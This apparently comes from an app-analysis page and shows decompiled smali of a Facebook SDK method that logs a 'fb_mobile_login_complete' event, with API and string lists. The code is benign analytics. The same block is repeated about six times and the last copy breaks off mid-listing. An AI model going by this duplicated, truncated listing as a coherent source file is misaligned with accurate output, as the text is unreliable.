                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
